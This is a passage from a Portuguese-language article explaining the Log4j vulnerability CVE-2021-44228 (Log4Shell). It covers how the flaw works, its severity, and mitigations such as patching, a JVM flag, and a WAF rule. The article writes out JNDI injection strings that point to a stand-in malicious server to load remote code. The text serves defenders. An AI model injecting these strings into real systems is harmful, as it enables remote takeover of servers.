Vulnerabilidade crítica na biblioteca Java Log4j coloca milhões de servidores em risco

Vulnerabilidade crítica na popular biblioteca Java Log4j: o que todo desenvolvedor precisa saber

Em 10 de dezembro de 2021, ocorreu na comunidade de desenvolvedores Java um evento que especialistas em cibersegurança já chamaram de "uma das ameaças mais graves da década". Trata-se da vulnerabilidade crítica CVE-2021-44228 na biblioteca Apache Log4j — uma das ferramentas de logging mais populares em aplicações Java. A vulnerabilidade permite que um invasor execute remotamente código arbitrário (Remote Code Execution, RCE) no servidor, usando apenas uma única linha em um campo de entrada.

O que é Log4j e por que isso é importante?

Log4j é uma biblioteca de código aberto usada em praticamente todos os grandes projetos Java: desde sistemas corporativos até serviços em nuvem (Amazon, Apple, Twitter, Minecraft e milhares de outros). A biblioteca é responsável por registrar eventos (logs) — erros, avisos e informações de depuração. A vulnerabilidade afeta as versões do Log4j de 2.0 a 2.14.1.

Como funciona o ataque?

O problema está no mecanismo JNDI (Java Naming and Directory Interface), que o Log4j usa para substituir valores de fontes externas. O invasor pode enviar uma requisição HTTP com uma string maliciosa como:

• ${jndi:ldap://servidor-malicioso/exploit}
• ${jndi:rmi://servidor-malicioso/exploit}

Se a aplicação registrar o conteúdo dessa requisição (por exemplo, User-Agent ou cabeçalho), o Log4j executa uma consulta JNDI ao servidor especificado. Em resposta, o servidor pode carregar uma classe Java maliciosa na máquina atacada, dando ao hacker controle total sobre o servidor.

Por que a vulnerabilidade é considerada crítica?

Especialistas atribuíram à vulnerabilidade a classificação máxima de perigo — 10.0 de 10.0 na escala CVSS. Motivos:

• Facilidade de exploração — não requer autenticação ou habilidades especiais.
• Ampla abrangência — Log4j é usado em milhões de aplicações.
• Dificuldade de detecção — o ataque pode passar despercebido, pois não deixa vestígios claros nos logs padrão.

Como se proteger?

Desenvolvedores e administradores precisam tomar as seguintes medidas imediatamente:

• Atualizar o Log4j para a versão 2.15.0 ou superior — o patch bloqueia o mecanismo de substituição JNDI por padrão.
• Desabilitar temporariamente o JNDI — se a atualização não for possível, adicione o parâmetro JVM: -Dlog4j2.formatMsgNoLookups=true.
• Verificar dependências — muitas bibliotecas (Spring Boot, Struts, Hibernate) incluem o Log4j como dependência transitiva. Use Maven/Gradle para encontrar versões desatualizadas.
• Monitorar o tráfego — configure regras de WAF (Web Application Firewall) para bloquear requisições contendo ${jndi:.

Conclusão

A vulnerabilidade no Log4j é um lembrete de que mesmo os componentes mais testados podem conter erros fatais. Para a comunidade Java, este evento foi um motivo para revisar a abordagem de gerenciamento de dependências e a segurança da cadeia de suprimentos de software. Se você usa Java em seus projetos, verifique a versão do Log4j